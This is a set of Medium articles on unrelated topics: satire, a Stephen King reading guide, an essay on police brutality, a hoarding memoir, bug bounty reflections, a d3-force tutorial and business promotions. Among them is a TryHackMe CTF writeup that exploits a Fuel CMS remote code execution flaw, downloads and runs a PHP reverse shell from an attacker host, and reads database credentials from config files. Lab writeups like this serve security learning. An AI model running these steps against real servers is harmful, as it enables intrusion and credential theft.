We’ll teach your teen the virtue of patience by having them reenact the scenarios of your teen years. They’ll do things like calling their friend’s pager and wait patiently by the landline phone until they call them back. Also, they’ll experience the pleasures of waiting for music ordered by mail.
In their world of unfiltered internet gimcrackery, it’s likely your teen’s idea of edginess is edgier than your edgiest ever was. We’ll help your teen pull back towards more comfortable levels of crassness with a constant barrage of clips from Blossom and Boy Meets World episodes mixed in with loops of dialog from My So-Called Life so we can instill in them the true meaning of edgy comedy.
They’ll learn how to go outside and find things to do with our Go Outside and Find Things to Do classes taught by Doug and his gang from Bluffington.
We’ll chase them with a wooden panel and then whoop their behinds just like the beginning of the movie Dazed and Confused so they can understand the type of parental justice you likely endured while gaining a glimpse into early 90s indie movie gold.
Your younger teen will learn the wonders of science with our fantastical cartoon and reality blend of lessons taught mostly in a magic school bus by Ms. Frizzle herself with several guest lectures from Bill Nye, that science guy.
We’ll treat your teen’s health needs with care by allowing them to take one or two sick days per session, because staying home and watching reruns of Gilligan’s Island, The Munsters, and Press Your Luck is a whole 90s education in itself.
For their final project, your teen will be expected to have obtained a deep knowledge of 90s pop culture and they’ll be challenged to go even deeper into the past by reaching back into 80s pop culture and formulating a speech similar to Lloyd Dobler’s dinner table soliloquy in Say Anything when he was asked about his life’s plans.
“I don’t want to sell anything, buy anything, or process anything as a career. I don’t want to sell anything bought or processed, or buy anything sold or processed, or process anything sold, bought, or processed, or repair anything sold, bought, or processed. You know, as a career, I don’t want to do that.” — Loyd Dobler from Say Anything
Once your teen completes their final project, your formerly-sullen teen will have a clear direction and purpose in their life after the deep contemplation and preparation their Loyd Dobler speech challenged them to.
If all else fails and your teen is still stuck in their sullen ways, we’ll bring out the big guns. That’s right, they’ll be subjected to repetitive episodes of Barney interspersed with a good dose of Teletubbies for good measure. Typically, once they’re released from such a session, they’ll be begging to go home, ready to pledge absolute respect for what they now see as your very reasonable rules for proper decorum.
Enroll today in our Back to the 90s Bootcamp and say goodbye to your teen’s unappreciative ways while you enjoy the new bond with the insights they’ll surely gain in their sessions with our authentic and impersonator 90s icons. | https://medium.com/never-feed-him-after-midnight/90s-themed-bootcamp-for-spoiled-teens-2f3187652968 | ['Bill Dubay Jr.'] | 2020-11-03 15:37:13.011000+00:00 | ['Fiction', 'Satire', 'Parenting', 'Humor', 'Television'] |
An Introduction to Reading Stephen King | Stephen King has a massive bibliography, including 63 novels and over 200 short stories. Even if you’ve never read any of King’s work, you would no doubt be familiar with some of his more famous characters and plots — from demonic clowns to telekinetic teenagers, from a writer and his family trapped in an empty hotel to a cemetery which brings dead pets back to life.
King’s back-catalogue can be intimidating to new or casual readers, especially as he has explored so many different genres, themes, and writing styles over the past five decades. Here are seven of his best works that encompass why he is the King.
Note, this is not a ‘best-of’ list, this is a list which aims to serve as an entry-point to King’s writing for new or casual readers, highlighting the breadth and scope of King’s written world.
1. The Stand: The Complete and Uncut Edition
Reading this lengthy tome (King’s longest stand-alone work) during the midst of the coronavirus pandemic may be a little too real but it is the perfect way to scare yourself shitless.
I suggest skipping over the original version of The Stand, published in 1978, and going straight to the uncut 1990 reprint, which moved the book’s setting forward by ten years and added about 400 pages which were cut from the original manuscript.
The Stand follows a group of survivors of a deadly virus — a weaponised influenza strain which has killed off most of the world’s population — as they attempt to restructure society against the backdrop of a wider battle between good and evil.
The Stand is a great introduction to King’s specific type of horror-writing — fantastical yet also grounded in realism. Rarely will a character make a choice without King giving you a holistic understanding of that character’s decision-making process, their fears, their anxieties and their hopes. It is this understanding of character that has made King’s writing so popular.
A new CBS miniseries adaptation starring James Marsden, Whoopi Goldberg, and Marilyn Manson is set to air later this year, so try and finish this one before it gets released. You are in for a wild ride.
References to keep an eye out for: Randall Flagg — one of King’s most persistent villains.
Warnings: Just don’t get too attached to any characters, OK?
If you liked The Stand: Try one of King’s other expansive masterpieces, such as It, Under the Dome, or ’Salem’s Lot.
2. The Long Walk
The Long Walk is one of the seven books written under King’s pseudonym, Richard Bachman.
King writes differently as Bachman. Sure, there are similarities in style which led to Bachman being exposed as King — but he seems to approach characters and plots differently as Bachman. The Bachman books are often sillier, grittier, more out-of-left-field. I like to think of Bachman as an opportunity for King to explore themes and ideas that King wouldn’t normally have put out into the world under the King brand and the weight of audience-expectations.
The Long Walk is set in a dystopian future where 100 teenage boys enter a walking competition — where they essentially are forced to walk until they drop, with the final man standing announced the winner.
While published years after Carrie, The Long Walk is actually the first book King ever wrote. It gives the reader a glimpse into the author as a young man, with hints at the brilliance to come, and sparks of the brilliance that was always there.
References to keep an eye out for: None that I am aware of.
Warnings: Once you have finished this book, you will want to discuss it with anyone who will listen, particularly the ending.
If you liked The Long Walk: Try another Bachman book, such as The Running Man or Thinner. Or read The Dark Half for a deeper examination into King’s complicated relationship with his pseudonym.
3. Misery
King excels at the sprawling epic, stories which span decades like It, traverse continents like The Stand or have gigantic casts like Needful Things. However, some of his most captivating stories are set in one place with few characters. Misery is a story about a man confined to a bed, being watched over by his number one fan.
Reading Misery today, it is hard to separate the character of Annie Wilkes from Kathy Bates’ terrifying portrayal in the 1990 film adaptation. Annie Wilkes is undoubtedly one of King’s most complex and unsettling characters. However, reading Misery you may find yourself more enthralled by Paul Sheldon’s desperation, claustrophobia, and tenacity to escape.
Misery is a great story on its own merits, but it also gives us a fascinating window into King’s relationship with his fans, with his writing, and with addiction. You will finish Misery with a greater understanding of who King is and deeper respect for what he does.
References to keep an eye out for: A fun little nod to the Overlook Hotel and the events of The Shining.
Warnings: The hobbling scene from the movie is different in the book — but just as graphic and just as likely to make you feel squeamish.
If you liked Misery: Try another self-contained, intense story, like Gerald’s Game or The Shining.
4. 11/22/63
Published in 2011, this is Stephen King’s newest entry on this list and is a good encapsulation of the direction he has taken in recent years, focusing more on character pieces with just a hint of supernatural terror lying underneath.
11/22/63 is essentially a piece of historical fiction, with a time-traveller from 2011 going back in time to prevent the Kennedy assassination.
It’s really fun to see King playing with something new, especially with how he brings the 50s and 60s to life and how he creates his own set of rules for time-travel.
Ultimately, 11/22/63 is one of the best things King has ever written. He suckers you in with a high-concept plot and before you know it you are emotionally invested in the characters and ready to be destroyed by King’s twists and turns.
I do hate the title though.
References to keep an eye out for: A couple of kids from Derry.
Warnings: You may get more out of one of the easter-eggs in the book by having read, or at least seen an adaption of It. A basic knowledge and understanding of the JFK assassination may also prove useful.
If you liked ll/22/63: Sample some of King’s later work, such as The Outsider, Duma Key or Revival.
5. Different Seasons
Different Seasons is arguably King’s best collection of novellas and all four of the novellas show off King’s drama chops rather than straight-horror. This man can write in any genre he wants.
Even if you are not familiar with Different Seasons as a collection, I am sure you are familiar with some of the stories contained within it; Rita Hayworth and the Shawshank Redemption (adapted into the film The Shawshank Redemption), The Body (adapted into Rob Reiner’s Stand By Me), Apt Pupil (adapted with no title change), and The Breathing Method (not yet adapted but still great).
Some of King’s best work is buried in his short story collections. With a lower word-count, his short stories excise the filler and cut to the quick. I enjoy King’s pages of rambling and inner-monologues, but it can be a nice change of pace to get in, get the thrills, then get out. His novellas walk the line somewhere down the middle.
Different Seasons is a great way to sample some of King’s non-supernatural writing and to get a taste of his skills as a writer of short/shorter fiction.
References to keep an eye out for: Castle Rock, Shawshank Penitentiary, Cujo, Jerusalem’s Lot, a character from The Body will also appear in Needful Things.
If you liked Different Seasons: Look at some of King’s other novella and short story collections, such as Hearts in Atlantis or the recently published If It Bleeds.
6. The Gunslinger
The first entry of King’s magnum opus, The Dark Tower series, is like nothing else he has ever written. Set in a different world — or is it not that different after all? — The Gunslinger follows Roland Deschain as he chases the Man in the Black (aka Randall Flagg!) on a quest to the Dark Tower, the centre of the universe.
Full disclosure, I hated this novel on its own, but I loved every subsequent book in the Dark Tower series. So if you have to slog through it, slog through it, because it will be worth it in the end.
Plus, it does have the best opening line of any of King’s writing: “The man in black fled across the desert, and the gunslinger followed.” So simple, yet so effective.
References to keep an eye out for: Dark Tower easter eggs, references, themes and even characters are littered throughout King’s entire bibliography. Don’t be surprised to find a minor character introduced in a book from 1975 to pop up in a Dark Tower book published in 2003 — this is one of the joys of King’s world-building that casual readers can often overlook.
Warnings: Do not watch the 2017 film ‘The Dark Tower’ starring Idris Elba and Matthew McConaughey, it will only lead to disappointment and regret.
If you liked The Gunslinger: Obviously you should continue on to the rest of The Dark Tower series, but if you like King writing in different worlds you could also check-out The Eye of the Dragon.
7. On Writing: A Memoir of the Craft
Stephen King’s best book may be his memoir on how to write.
With On Writing King shares insightful recollections on his writing process, habits, and publishing journey. The book is filled with practical tips and tools to improve and encourage aspiring writers.
Even if writing is not something you are interested in, On Writing is fascinating as it helps explain how King can be so prolific and where he gets his ideas. Recollections of his history with drug and alcohol abuse, his upbringing, and his family relationships also give the reader a greater idea of who the writer is.
We are lucky to have King’s toolbox at our fingertips.
Warnings: Just because King makes it look easy doesn’t mean it is.
If you liked On Writing: Try some of King’s other non-fiction work, such as Danse Macabre, his reflections on horror in popular culture. | https://medium.com/publishing-well/an-introduction-to-reading-stephen-king-8aafdd758fcf | ['Nathan Patrick Brown'] | 2020-05-31 09:46:02.606000+00:00 | ['Stephen King', 'Horror', 'Books', 'Reading', 'Fiction'] |
Why Are People Angrier About Police Brutality than Black on Black Crime Anyways? | Even as the crime rate has declined steadily nationwide, people continue to ask all the time why other people are more upset about police brutality than they are about the strawman that is Black on Black crime. This argument is intended to imply that any focus on police brutality lacks merit because of other seemingly more pressing concerns within Black communities that according to this line of reasoning should be more upsetting to Black people presumably because they are enacted on Black people by other Black people, which inherently assumes that the police are all White, which is illustrative, but another issue altogether. Setting aside the issue of defunding or abolishing the police as alternatives to the current system and setting apart the fact that Black on Black crime isn’t any more prevalent than any other form of race data-ed crime and that crime is more about proximity than it is race, the answer seems fairly obvious to me and probably most people who feel angry about the treatment of Black bodies by the police.
Everyone believes that police officers either formally or informally take an oath to serve and protect the public. In many places the language appears on police badges and cruisers. There is countless merchandise aimed at police officers and police families, fans and enthusiasts that bear these words. Police are paid through public funds collected through taxes. The police technically work for us, we, the people. Out of this oath and this public funding should hypothetically arise a duty that results in higher scrutiny in the court of law and public opinion and more severe consequences for bad actors and systems, but there isn’t one.
That’s the difference between anger around Black on Black crime and anger around police brutality of Black bodies: the perception that the police are required to protect and serve us and that this is what we pay them to do. Criminals and would be criminals are not paid to not commit crime on the public dollar. They have taken no oath and made no promises to protect the public from danger or harm. They have no perceived duty to any of us or to protect any of us even if they have failed the informal public standards of morality and neighborliness.
The legal system calls such an implied or explicit duty a duty of care. This duty should in theory require police officers to take reasonable measures to ensure civilian safety and bodily integrity from both criminals and from themselves in all but the most extreme circumstances or to face heightened punishments and consequences. Yet, despite public perception around the duty to serve and protect, according to our Supreme Court police in the United States owe no such duty to civilians or their property. What’s frightening is that this absence of duty likely means that police officers do not even seem to owe you a duty to protect you from themselves. What’s more, not only do the police not have any duty to protect you, they have a special immunity called qualified immunity against liability for harm that may arise out of their serving in their public function. If you find this illogical and terrifying against the backdrop of everything you have ever been taught about policing and that it inspires cognitive dissonance, you aren’t alone.
Even though no legal duty exists, it is our belief which has been disseminated through every form of media from television to social that the police are there to serve us and protect us, which one would assume means protecting our rights to our lives to the fullest extent possible that creates such frustration and anger with policing especially when it comes to the matter of Black lives. I would argue that even lacking a legally recognizable duty, the public function that police are alleged to serve is intrinsically bound up with this duty and demands it as an ethical imperative.
At some point, the perception of this duty is as powerful in the public consciousness as the actual duty if it existed would be in the court of law. We expect the police to protect and safeguard us. When they do not or when they turn violence upon us, we are angered. We feel they owe us better and they should.
We can be justifiably upset about crime when it is conducted by private citizens as people living in high crime communities have for decades. We can protest and start charities named in honor of the victims of violence caused by criminal influences as communities impacted by violence have for decades. We can do everything in our power locally through political action, protest, and marches to try to reduce the rates of crime near to us and that impacts communities that matter to us. We can create go fund me pages for the families of victims of civilian violence. We can discuss the root causes of neighborhood crime which we know to be poverty, lack of access, and ineffective educational systems in almost every instance.
We can do all of this as we have for decades and still find the pattern of police use of force against Black bodies to be objectionable too or more so because of the public function that police are intended to serve and our expectation that they will serve it dutifully.
It is from this perceived and justifiable distinction, whether it lacks legal merit or not, that anger, outcry, and protest around police brutality arises. It’s not the same thing as a neighborhood kid breaking a window or even enacting more serious violence against their own neighbors. It is the failure to live up to the higher standard that our tax dollars and this oath should engender.
Follow the author on social media:
www.Instagram.com/bridgettewrites
www.facebook.com/BridgetteHWrites | https://medium.com/an-injustice/whats-the-difference-between-anger-around-police-brutality-and-black-on-black-crime-anyways-8b0d99884f2 | ['Bridgette L. Hylton'] | 2020-08-29 20:39:08.898000+00:00 | ['Police Brutality', 'Black On Black Crime', 'BlackLivesMatter', 'Crime', 'Police'] |
I Dated a Hoarder for Nearly a Decade | I Dated a Hoarder for Nearly a Decade
What it’s really like to date a man who lives with trash
Photo by Tobias Tullius on Unsplash
I met a man at work, and we fell in love. He was neat and clean with hair that was flawlessly coifed. His mustache and goatee were trimmed and his clothes were ironed. Sharp creases ran down the legs of his pants.
He was also a hoarder.
From his outward appearance, no one could ever guess his secret. He lived with mounds and mounds of trash. That man never met a piece of garbage that he didn’t like. Receipts, junk mail, used Q-tips, and scraps of paper were all equally important. He hoarded them like they were gold.
He brought me to the house where he lived with two roommates — his parents. It was dark. The only light illuminating the room came from the television set.
After introducing me to his parents, he brought me downstairs to a room with a huge sectional sofa that had been arranged into a square and covered in pillows and blankets. That’s where we talked and watched television while The Suze Orman Show provided the only light in the room.
After several nocturnal visits to the basement, which smelled vaguely like mold and rotting potatoes, he finally showed me his room on the second floor. It was immediately apparent why he hadn’t shown me sooner.
The room was small, and there wasn’t enough space between the foot of the bed and the bureau to open the drawers more than six inches. The bed was covered — covered — in stacks of books and papers.
A thick layer of dust and grime covered every surface in the room. It nearly obscured the screen of the television set that sat on a nightstand opposite the side of the bed.
Snarls of wires led from electrical outlets under the window to the television, VCR, and video game systems against the adjacent wall. Like everything else in the room, there was a heavy gathering of dust and dirt surrounding the wires.
In the center of the room, there lay a twin blanket, folded in half. That was the size of the usable space in the room. After his parents had the sectional sofa from the basement transported to the garbage dump, we spent all our time together in his bedroom on that folded blanket.
We ate there, watched television, and played videogames there. Actually he played videogames and made me watch because he didn’t like the way I played.
As our relationship continued, the empty space in the center of his bedroom grew smaller and smaller. Empty boxes and piles of junk mail encroached on our space. Mounds of used Q-Tips sat inches from my toes. Peeled and used packing tape scattered like crepe paper streamers.
Eventually, I spent hours trapped in an area roughly 2'X2'. I sat criss-cross applesauce and barefoot, watching him play vintage Atari games. Since he was controlling in addition to being a hoarder, he didn’t permit me to read a book or use my laptop while he was playing his games.
I’d sit there and wait patiently until it was time for us to eat picnic-style on the floor or watch cartoons, usually one after the other, so he could get back to his games.
Then he stopped wearing deodorant.
Our conversations, which had started out amazing when we had more space and he was still wearing deodorant, became an exercise in spatial relations and body odors. With my head partially under the bed and my feet immersed in a pile of used Q-Tips, achieving a rewarding and meaningful conversation with my hoarder boyfriend became increasingly difficult.
We couldn’t hang out anywhere else in the house either. The hoarding wasn’t confined to my boyfriend’s room. The basement, minus the discarded sofa, was nothing but a concrete floor, stacks of books, and empty packaging material culled and saved from decades of packages because you never know when you might need hundreds of empty boxes or yards of used but perfectly serviceable bubble wrap.
His mother was unemployed, and she was always home. That meant watching television on the living room sofa or eating at the kitchen table were out of the question anyhow, but the unmistakable signs of hoarding grew and spread throughout the home during the eight years that I visited.
The bright and sunny dining room had a large window overlooking the front yard when it was accessible. A giant pile of refuse had formed in front of the window, keeping anyone from approaching within ten feet. The pile was an amalgam of dismembered doll parts, dog toys, and bones left over from t-bone steaks and boiled dinners.
There was a matching pile of garbage in the kitchen, just random packages of half-eaten toddler snacks and decapitated doll heads mixed with animal bones, puddles of dog urine, and unopened utility bills. It was like something you would see on television only with the added bonus of being able to smell it.
In summer, the house became home to an ant infestation the likes of which I had never seen. My boyfriend squished them beneath his toes, leaving the remains of dead ants on the kitchen floor. I was surprised they didn’t have a problem with cockroaches or mice.
Spending time together became less desirable as space became more limited. If I couldn’t contort my body to fit inside two square feet of floor space, then I was out of luck. Watching television comfortably was out of the question with my feet in the air and my neck contorted at an uncomfortable angle against the corner made from the edge of his bed and the front of his bureau.
He was too cheap to take me out to dinner at restaurants and forbade me from paying for dinner either. He was dirty and cheap. He called it frugal. That meant our options were severely stunted. Fortunately, I stopped caring.
Unfortunately, we dated for nearly a decade.
Finally, like all good things, and all bad things, our relationship came to an end. I am confident that his hoarding did not. | https://medium.com/traceys-folly/i-dated-a-hoarder-4ce87848b490 | ['Tracey Folly'] | 2020-12-14 18:21:28.068000+00:00 | ['Self', 'Relationships', 'Lifestyle', 'Nonfiction', 'This Happened To Me'] |
WriteUp — THM Ignite. This is a writeup for TryHackMe room… | A new start-up has a few issues with their web server.
This is a writeup for TryHackMe Ignite room.
Start with nmap:
Starting Nmap 7.80 (
Nmap scan report for 10.10.67.163
Host is up (0.055s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/fuel/
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Welcome to FUEL CMS nmap -sC -sV -p- 10.10.67.163Starting Nmap 7.80 ( https://nmap.org ) at 2020–10–13 10:47 EESTNmap scan report for 10.10.67.163Host is up (0.055s latency).Not shown: 65534 closed portsPORT STATE SERVICE VERSION80/tcp open http Apache httpd 2.4.18 ((Ubuntu))|_/fuel/|_http-server-header: Apache/2.4.18 (Ubuntu)|_http-title:
Let’s take a look at robots.txt:
User-agent: *
Disallow: /fuel/
Let’s take a look at that directory. It reveals a login screen to the CMS.
Quick web search finds a vulnerability in the version 1.4: https://www.exploit-db.com/exploits/47138 and we seem to have the exploit already available:
searchsploit fuel cms
Fuel CMS 1.4.7 — ‘col’ SQL Injection (Authenticated) | php/webapps/48741.txt
Fuel CMS 1.4.8 — ‘fuel_replace_id’ SQL Injection (Authenticated) | php/webapps/48778.txt
fuelCMS 1.4.1 — Remote Code Execution | linux/webapps/47138.py
Let’s take a look at the vulnerability CVE-2018–16763. to figure out how it works. Need to modify the script a bit to support Python3, got some environment issues with Python2.
Ok, lets grab a remote shell from https://github.com/pentestmonkey/php-reverse-shell . Modify to point to my attack box. Serve it with Python -m SimpleHTTPServer and upload it to the box using the Python program cmds:
php php-reverse-shell.php wget http://10.8.108.247:8000/php-reverse-shell.php php php-reverse-shell.php
And we are in. Upgrade the shell to proper terminal using
python -c 'import pty; pty.spawn("/bin/bash")'
grab the user flag from /home/www.data:
cat flag.txt
__REDACTED__
Browse around the file system. Grab mysql credentials from Fuel CMS configs:
$db[‘default’] = array(
‘dsn’ => ‘’,
‘hostname’ => ‘localhost’,
‘username’ => ‘root’,
‘password’ => ‘__REDACTED__’,
‘database’ => ‘fuel_schema’,
‘dbdriver’ => ‘mysqli’,
‘dbprefix’ => ‘’,
‘pconnect’ => FALSE,
‘db_debug’ => (ENVIRONMENT !== ‘production’),
‘cache_on’ => FALSE,
‘cachedir’ => ‘’,
‘char_set’ => ‘utf8’,
‘dbcollat’ => ‘utf8_general_ci’,
‘swap_pre’ => ‘’,
‘encrypt’ => FALSE,
‘compress’ => FALSE,
‘stricton’ => FALSE,
‘failover’ => array(),
‘save_queries’ => TRUE
);
This can’t possibly be the root password. Or can it? | https://medium.com/@jarilaurila/writeup-thm-ignite-1bcef3f0b59e | ['Jari Laurila'] | 2020-10-17 12:02:01.173000+00:00 | ['Infosec', 'Thm Writeup'] |
Why write now? | “You should write on Medium.” That's what a friend told me about a week or so ago. About 10 years ago friends had encouraged me to start a blog on everything and just write about anything that came to mind and do it regularly. I didn’t. I suppose I didn’t think I had anything relevant to say or took my lack of confidence as an excuse to do nothing. What I can tell you is that in the last 10 years I have always disregarded any form of a compliment on my writing as simple flattery and pushed on. But perhaps not today. I’ll publish this today and either jump back in the foxhole of protection from comments or worse yet, silence. Or perhaps I’ll emerge and realize it's better to be in the fight than to watch it since that is what I’ve been doing for the last 10 years and it's not like that has worked out.
Storytelling:
My kids are 12 and 10 and for about the last 9 years I’ve told them bedtime stories of various lengths and especially at sleepovers. Their friends or cousins ask me if I’ll tell them all a story. To which I oblige most often, and it usually ends in belly laughs or minds blown or groans of true and utter disgust that “your dad” or “Uncle Mark” can think up endings like that. But yet they always ask for more. We’ve had stories ranging from sewer clowns that are responsible for the current mess in this room to the highly detailed and bloody account for each of the 9 lives of Maximillian the villain cat that lives just up the road in my brain.
Influence and Support:
A few years ago I referenced the 1999 film, The Matrix in a 4 am email to our CIO, after learning about the voluntary departure of a technology leader that was in charge of culture at our company of 40000+ people. His response was to keep writing, “you’re good at it”. My email was forwarded by the CIO to that leader and she later shared that it was framed and hanging in her home office. And while she didn’t stay, she did say it helped her. Not only for the foreshadowing of a dark time in our company over the next few years where we tried to science human behavior at work with data vs. embracing their messiness. But she said it helped because it supported her and her decision.
Laughter and Love:
It’s a critical component of how and why I fell in love with my wife when we were dating in San Francisco, and why she gave me a second look. Emailing or texting and laughing at each other's thoughts or recollections of events, humorous sarcasm, Seinfeld-like observations of human behavior (mostly my behavior), vulnerability, empathy, sadness, anger. It's a form of how we figured out and knew we were/are the perfect fit. One of my favorite scenes is Robin Williams in Good Will Hunting sharing the moments of intimacy with his wife what he refers to as “The good stuff.”
So why write now?
Why not, what's the worst that could happen. | https://medium.com/@mfleeton/why-write-now-525e8c3dfa16 | ['Mark Fleeton'] | 2020-12-02 12:09:27.649000+00:00 | ['Writing', 'Courage', 'Do Something', 'Fear', 'Love'] |
Unsplash + Made | Although I don’t actually remember asking my phone to track my screen time, I started getting the notification a few months ago and it’s been both interesting and horrifying to be confronted with a breakdown of phone usage on a daily basis.
My blissfully unaware self thought my screen time looked like this: 40% Instagram, 20% Whatsapp, 20% Podcasts, 10% Gmail, 10% Internet Browsing. In reality, looked a lot more like: 92% Instagram, 8% Everything else.
One thing’s for sure — I can safely say my Instagram consumption skyrocketed when Instagram stories was introduced. And if you spend as much time on Instagram stories as me — you know that not all stories are created equal. Which is why Instasize have launched a new app called Made, so that we can finally ditch the dull Instagram templates. Their fully customizable stories are designed with creators in mind, and with 32 free templates to choose from — you’re able to curate your content your way. Gone are the days of limited font choice, boring backgrounds, and limited layout options. With Made, you can now create custom stories as creative as you are.
And now, you can pair a perfect Made template with photos from the Unsplash library, right in the app. All you’ve got to do is find a template that works for you, plug in beautiful photos from the Unsplash library, and start sharing.
Add Unsplash images to your Made Stories | https://medium.com/unsplash/unsplash-made-6189b98bb292 | ['Alex Begin'] | 2019-09-04 08:39:21.101000+00:00 | ['Partnership', 'Integration', 'Instagram', 'Photography', 'Partners'] |
Bugs, Bounties & Peace of Mind | As a Bug Bounty Hunter, finding Bugs or security vulnerabilities in websites always feels like finding some hidden treasure in unknown territory. These bugs are like Gems of imperfection, ready to be found by the worthy and get disposed of. The rare the bug or the difficult it is to find the more enthusiastic and proud you feel. If you have found a bug that is difficult to find or by employing some creative techniques you have found a hidden flaw(the hidden gem), even if reporting that bug does not provide you with bounty or anything, you feel accomplished and proud and your skills sharpened by the experience.
But this article is about my emotional experience with those bugs that I found easily(without any efforts) and got rewarded(by bounty) for some of those.
I was lucky enough that in the first few days of starting bug hunting I found a technical bug, from starting I was keen to not report any bug like SPF or DMARC record misconfiguration, or any scanner founded vulnerability that does not have any immediate great practical impact, that's when I found the bug Parameter tampering on which I wrote my very first article. Even if I did not get rewarded by bounty or swag, I was happy and excited for more, this finding boosted my confidence and give me the subtle motivation that I am not just a wannabe and am capable of contributing to cybersecurity. After this I found similar bugs in some websites with their own VDP and reported them, they awarded me with monetary reward.
After these came a slump in my bounty hunting, I was unable to find any bugs so I resorted to reporting LHF(Low Hanging Fruit), the same type of vulnerabilities that I did not wanted to report, Interestingly I reported the SPF misconfiguration for a banking organization bounty program and get awarded with the largest amount of bounty I have ever received, for that LFH finding, but instead of being proud of that high reward, I was dissatisfied and became a victim of Impostor Syndrome.
Due to this slump, I tried getting an Internship in Cyber Security to get direction and guidance, It was a badly managed organization with no defined future goals, this internship further swelled my self-loathing, as for saying I was employed but did not learn anything new apart from a little android application pentesting. I again switched and found another internship, this company was a startup but professionally managed, here I started slow-paced but when I found XSS on file uploads, XSS on uploading files with XSS payloads in name, and some other cool vulnerabilities, I felt that adrenaline rush that I experienced in the starting days, I felt back on the track, I learned comparatively more in this internship and enjoyed my time there, it helped in restoring my self-confidence as a Cyber Security Enthusiast.
The conclusion of this article can not seem fit for all the intellectuals reading this, but I think the conclusion will seem fit for a majority of people working in this highly competitive domain. I think we should not thrive exclusively for the bounty amount and the numbers of LFH or dupes that we can add and flaunt on to our social media account, instead, we should work on the essence that is securing and learn from those ideals working in cybersecurity, the message of giving back to the community and contributing towards a much more educated Cyber World.
𝒜𝓂𝒶𝓉𝑒𝓊𝓇 𝒜𝓇𝓉𝒾𝓈𝓉 𝓌𝑜𝓇𝓀 𝒻𝑜𝓇 𝓉𝒽𝑒 𝒸𝑜𝓂𝓅𝑒𝓃𝓈𝒶𝓉𝒾𝑜𝓃 𝑜𝒻 𝒽𝒾𝓈 𝒶𝓇𝓉,
𝒢𝓇𝑒𝒶𝓉 𝒶𝓇𝓉𝒾𝓈𝓉 𝒻𝒾𝓃𝒹 𝓉𝒽𝑒 𝒸𝑜𝓂𝓅𝑒𝓃𝓈𝒶𝓉𝒾𝑜𝓃 𝑜𝒻 𝒽𝒾𝓈 𝓌𝑜𝓇𝓀 𝒾𝓃 𝒽𝒾𝓈 𝒶𝓇𝓉.
🙏 | https://medium.com/@suneets1ngh/bugs-bounties-peace-of-mind-f8a885fb75ec | [] | 2021-06-08 11:05:46.306000+00:00 | ['Cybersecurity', 'Inspiration', 'Peace Of Mind', 'Mindfulness', 'Bug Bounty'] |
d3-force directed graph (forces experiments for dummies) | The need to visualize a large amount of data / data flows / entities relations in a way that our brain could face it is an interesting challenge in UX / UI and interactive graphs are in daily use, a lot of them are based on d3.
The d3-force module:
Force-directed graph layout using velocity Verlet integration.
“Verlet integration”?
OK, but my narrow world is more into frontend terms can I just stay a dummy and create my own graph? — definitely YES.
Here’s the graph I created:
(I didn’t give much effort on styling, that wasn’t my purpose).
I listed some terms and definitions that are relevant when working with the d3-force, here’s the repo.
The <defs> element is used to define SVG elements without rendering them. Combined with a ‘g’ tag, it can be used to create a template for an intricate graphic that contains many elements.
element is used to define SVG elements without rendering them. Combined with a ‘g’ tag, it can be used to create a template for an intricate graphic that contains many elements. The <marker> element defines the graphic that is to be used for drawing arrowheads or polymarkers on a given <path> , <line> , <polyline> or <polygon> element.
create a simulation for an array of nodes, and compose the desired forces.
forceSimulation: d3.forceSimulation() Creates a new simulation with the specified array of nodes and no forces. If nodes are not specified, it defaults to the empty array
A force is simply a function that modifies nodes’ positions or velocities
simulation.force : If force is specified, assigns the force for the specified name and returns this simulation.
: If force is specified, assigns the force for the specified name and returns this simulation. The “charge” force — like electrostatic charge, when negative will push nodes away, (default strength is -30) the charge force is global: every node affects every other node, even if they are on disconnected subgraphs (used with many-body().
force — like electrostatic charge, when negative will push nodes away, (default strength is -30) the charge force is global: every node affects every other node, even if they are on disconnected subgraphs (used with many-body(). The “center” force — centering force, centers all nodes at the given position ⟨x,y⟩.
force — centering force, centers all nodes at the given position ⟨x,y⟩. The “ link” force — The link force pushes linked nodes together or apart according to the desired link distance.
force The link force pushes linked nodes together or apart according to the desired link distance. forceLink : Creates a new link force with the specified links and default parameters. If links are not specified, it defaults to the empty array.
: Creates a new link force with the specified links and default parameters. If links are not specified, it defaults to the empty array. The “ many-body ” force applies mutually amongst all nodes. It can be used to simulate gravity (attraction) if the strength is a positive, or electrostatic charge (repulsion) if the strength is negative.
” force applies mutually amongst all nodes. It can be used to simulate gravity (attraction) if the strength is a positive, or electrostatic charge (repulsion) if the strength is negative. alphaTarget: Usually used on interactions such as drag-drop a node, together with restart(), it’s hard to understand — thus hard to explain what is the “alpha” concept, it plays a role in “slowing” the nodes transition, for a “smother” experience when changing the layout by dropping the node somewhere, according to the API docs: alphaTarget sets the current target alpha to the specified number in the range [0,1] and returns this simulation.
tick — The simulator starts automatically, and after the node data iteration the tick event is triggered, on its handler fn the nodes and lines get a calculated x- and y-positions.
References: | https://itnext.io/d3-force-directed-graph-forces-experiments-for-dummies-20a5682935 | ['Liron Hazan'] | 2019-02-18 07:23:26.202000+00:00 | ['D3', 'Graph', 'Frontend', 'UI', 'API'] |
How Hylobiz is helping thousands of businesses stay relevant in their game? | Every business to stay ahead of competition and to see better growth and revenue irrespective of the size and industry, needs to focus on its consumers and suppliers, communicate effectively, make right decisions, understand trend, manage data and financial records efficiently, transact accurately, and make long term plans.
Is there a one stop solution that can help businesses to manage all these business requirements and to stay relevant in their game?
Yes, Hylobiz, a digital platform with a magic of automation, is helping businesses to make correct decisions on time, to get the tedious accounting jobs done in just few clicks and help communicate with suppliers and customers professionally and effectively. The system is bringing positive changes in the B2B marketplace.
Once a business signs up on Hylobiz digital platform, it can avoid manual errors as the distributed digital ledgers on the platform help manage and track financial records efficiently. The digital ledgers enable you to manage contacts and ledger level collections.
A business may start using Hylobiz free trial for 30–90 days based on the size of business to understand the system well. The subscription charges are discounted based on the size of business and volume of transactions offering you the best monthly, quarterly, and annual plans available in the market.
With Hylobiz, a business can reduce operating cost significantly and see a steep growth. The platform is already integrated with the ERP partners like Tally, quickbooks and ZOHO.
With Hylobiz connected banking platform through web and mobile apps you can
Create, upload, and send branded invoice over WhatsApp, SMS, and Email
Get reminded through automated reminders
Collect dues on time digitally
Pay out to vendors, business partners and employees in single/bulk/recurring mode
Get automated settlements done quickly
Get reconciliations done automatically
Access daily settlements and payments report from anywhere
Manage multiple Accounts, ERPs, users
Understand business health and take right decisions
Manage audit trails
While you continue reading this article you will know more about the top features that might support your business face challenges better and win over your competitors.
